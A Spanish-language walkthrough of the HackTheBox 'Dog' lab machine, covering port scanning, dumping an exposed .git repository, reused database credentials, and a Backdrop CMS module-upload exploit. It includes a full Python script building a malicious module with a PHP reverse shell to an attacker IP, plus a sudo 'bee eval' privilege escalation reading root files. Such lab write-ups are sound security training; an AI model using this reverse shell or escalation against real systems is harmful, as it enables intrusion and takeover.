Post

Dog - HackTheBox Season 7

Guía en español para Dog - HackTheBox Season 7

Dog - HackTheBox Season 7

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ nmap -sCV -O -Pn --open dog.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 19:59 CET
Nmap scan report for dog.htb (10.10.11.58)
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds

Como estamos acostumbrados, nos vemos ante un servidor web en el puerto 80 y un servidor SSH en el puerto 22.

Explorando la web

alt text

Lo primero que observamos interesante es un sección about, posts donde podemos ver los posibles usuarios registrados en el sitio y un apartado de login.

Al final de la web podemos ver la tecnología con la que se a construido el sitio web.

alt text

Explorando el login de la web, encontramos que nos verficar si el usuario es o no correcto antes de poder entrar, lo que nos permite filtrar posibles usuarios aun sin saber la contraseña.

En el about encontramos un correo de soporte support@dog.htb que nos da a conocer el dominio de mail que maneja el sitio web, aunque en HackTheBox siempre suelen ser de un estilo similar.

Si intentamos acceder a la web con este mail nos indica que no existe pero, tras un rato probando usuarios típicos como admin tampoco existen.

alt text

Encontramos un posible usuario pero seguimos sin saber la contraseña.

Mientras podríamos intentar una fuerza bruta pero tiene un manejo de inicio de sesión con tokens que se generan en cada intento, por lo que no es posible.

Aqui lo podemos ver en BurpSuite.

alt text

Este id se regenera con cada intento de inicio de sesión.

Enumerando directorios y subdominios

Mientras exploramos la web podemos ir ejecutando un scrapeo de directorios y subdominios.

1
❯ gobuster dir -u http://dog.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt

Aquí encontramos algo muy interesante y es que parece haber un directorio .git, lo que indica que potencialmente podemos descargar el código fuente del sitio web.

alt text

Usamos GitDumper

1
python3 git_dumper.py http://dog.htb /home/sdksdk/Downloads/dog-htb  

Una vez descargados los archivos vamos a ir explorando el código fuente.

Explorando el código fuente

Para resumir, en el código lo más interesante que encontré fue el contenido del archivo settings.php que nos da información sobre la base de datos de MySQL.

alt text

Ahora que tenemos unas credenciales supuestamente válidas para SQL, siempre podemos probarlas en cualquier login por si no se siguen buenas prácticas de seguridad.

Intentando autenticarnos con el usuario dogBackDropSystem no parece funcionar por lo que tenemos que encontrar otros posibles usuarios.

Como sabemos de antemano que el dominio de mail es dog.htb podemos intentar buscar en el código fuente si existe algo relacionado con este dominio.

Para no tener que buscar a mano por todo el código podemos realizar una búsqueda recursiva en el directorio /home/sdksdk/Downloads/dog-htb.

1
find . -type f -print0 | xargs -0 grep -i "@DOG.htb"

El comando en este caso lo hemos ejecutado en la ruta donde se encuentran los archivos descargados.

Esto revela un usuario dentro de la configuración.

alt text

Login en la web

Con este nuevo usuario y la contraseña encontrada podemos entrar en la web.

alt text

En este punto y tras un rato explorando todas las opciones que ofrece Backdrop CMS desde el panel busqué posibles vulnerabilidades realacionadas con el CMS.

Encontramos una vulnerabilidad que nos permite ejecutar RCE mediante modulos maliciosos en el panel de administración.

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Este PoC crea un modulo malicioso en el que mediante PHP crea un shell cmd para ejecutar comandos desde un panel web pero yo lo he modificado para que se ejecute una shell reversa directamente en el sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import os
import time
import tarfile

def create_files():
    # Contenido del archivo .info
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)  # Crea la carpeta si no existe
    with open(shell_info_path, "w") as file:
        file.write(info_content)

    # Contenido del archivo .php (shell reversa)
    shell_content = """
    <?php
    $ip = '10.10.10.10';  // Cambia por tu IP
    $port = 4444;          // Cambia por tu puerto

    // Abre un socket al atacante
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
        die("Failed to connect: $errstr ($errno)");
    }

    // Redirige la shell al socket
    $descriptorspec = array(
        0 => $sock,  // stdin
        1 => $sock,  // stdout
        2 => $sock   // stderr
    );

    $process = proc_open('/bin/sh -i', $descriptorspec, $pipes);
    if (!is_resource($process)) {
        die("Failed to spawn shell");
    }

    // Espera a que el proceso termine
    proc_close($process);
    ?>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path

def create_tar_gz(info_path, php_path):
    # Nombre del archivo .tar.gz
    tar_filename = "shell.tar.gz"
    with tarfile.open(tar_filename, "w:gz") as tar:
        tar.add(info_path, arcname='shell/shell.info')
        tar.add(php_path, arcname='shell/shell.php')
    return tar_filename

def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Generando módulo malicioso...")
    time.sleep(2)

    info_path, php_path = create_files()
    tar_filename = create_tar_gz(info_path, php_path)

    print(f"Módulo malicioso generado: {tar_filename}")
    time.sleep(2)

    print(f"Ve a {url}/admin/modules/install y sube el archivo {tar_filename} para instalación manual.")
    time.sleep(2)

    print(f"Tu shell estará en: {url}/modules/shell/shell.php")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Uso: python script.py [url]")
    else:
        main(sys.argv[1])

Usando este script obtenemos el modulo listo para instalar.

alt text

Para instalar el módulo, en el panel de administración navegamos hasta functionalidades -> instalar módulos nuevos

alt text

Indicamos instalación manual y subimos el archivo shell.tar.gz que hemos creado.

alt text

alt text

Cuando lo instalemos podemos navegar a la ruta /modules/shell/shell.php no sin antes ejecutar nuestro netcat para recibir la shell.

alt text

Deberíamos recibir la shell rápidamente.

Ahora la estabilizamos y nos disponemos a explorar el sistema.

alt text

Explorando el sistema

La shell obtenida es como www-data por lo que no tenemos permisos para acceder a la flag de usuario.

Verificando de nuevo que los datos de la base MYSQL son los mismos que os del código fuento, podemos intentar acceder a la base de datos.

alt text

alt text

En la tabla de users encontramos todos los usuarios de la web.

mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| backdrop           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> USE backdrop 
Database changed
mysql> SHOW tables
    -> ;
+-----------------------------+
| Tables_in_backdrop          |
+-----------------------------+
| batch                       |
| cache                       |
| cache_admin_bar             |
| cache_bootstrap             |
| cache_entity_comment        |
| cache_entity_file           |
| cache_entity_node           |
| cache_entity_taxonomy_term  |
| cache_entity_user           |
| cache_field                 |
| cache_filter                |
| cache_layout_path           |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_token                 |
| cache_update                |
| cache_views                 |
| cache_views_data            |
| comment                     |
| field_data_body             |
| field_data_comment_body     |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_comment_body |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_metadata               |
| file_usage                  |
| flood                       |
| history                     |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_comment_statistics     |
| node_revision               |
| queue                       |
| redirect                    |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| state                       |
| system                      |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| tempstore                   |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| watchdog                    |
+-----------------------------+
59 rows in set (0.00 sec)

alt text

Como podemos listar los usuario del sistema con sus directorios en /home o en /etc/passwd nos vamos a centrar en crackear la contraseña de uno de ellos.

alt text

Como el usuario de la flag es johncusack podemos intentar crackear su contraseña.

Crackeando el hash

El hash que se utiliza es un hash de Drupal/Backdrop CMS. Estos hashes tienen las siguientes características:

  • Formato: $S$ seguido de un carácter que indica la configuración de hashing (en este caso, E).

  • Algoritmo: SHA-512.

Salt: Incluido en el propio hash.

Preparamos el hash para hashcat.

1
$S$EYniSfXXXXXXXXXXXXXXXXz8EIkjUD66n/OTdQBFklAji.

Ahora para la wordlist vamos a usar rockyou.txt pero además por si se diera el caso vamos a añadir la propia credencial de la cuenta que utilizamos para inciar sesión en el panel web de Backdrop CMS.

1
hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt

Tras un buen rato y perdida toda esperanza de poder crackear el hash, me dió por probar a conectar al usuario johncusack con la contraseña que conseguimos para acceder tanto a la base de datos como al panel de administración y efectivamente no nos permite entrar.

Acceso por SSH

1
ssh johncusack@dog.htb

User flag

alt text

Escalado de privilegios

Ahora que tenemos acceso y su contraseña, con un simple sudo -l podemos ver que podemos ejecutar comandos como root.

alt text

Tenemos el permiso para ejecutar bee. Bee es una herramienta de línea de comandos para Backdrop CMS (similar a drush en Drupal). Se utiliza para ejecutar tareas administrativas, evaluar código PHP, y gestionar el sitio.

Viendo los comandos de los que dispone, encontramos uno que nos puede permitir ejecutar comandos PHP con privilegios de root.

alt text

Probé con este comando

1
sudo /usr/local/bin/bee eval "echo shell_exec('cat /root/root.txt');"

Pero obtenía el siguiente error:

1
✘  The required bootstrap level for 'eval' is not ready.

El error indica que el entorno de bee no está completamente inicializado (bootstrap level), que puede suceder por varias razones:

  • Bootstrap incompleto: bee no ha cargado completamente las dependencias de Backdrop CMS.

  • Configuración incorrecta: El archivo de configuración de Backdrop CMS no está accesible o está mal configurado.

Con un poco de búsqueda la solución fue forzar el bootstrap a un nivel más alto de directorio.

1
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('cat /root/root.txt');"

–root=/var/www/html: Especifica la ruta raíz de la instalación de Backdrop CMS.

Root flag

alt text

This post is licensed under CC BY 4.0 by the author.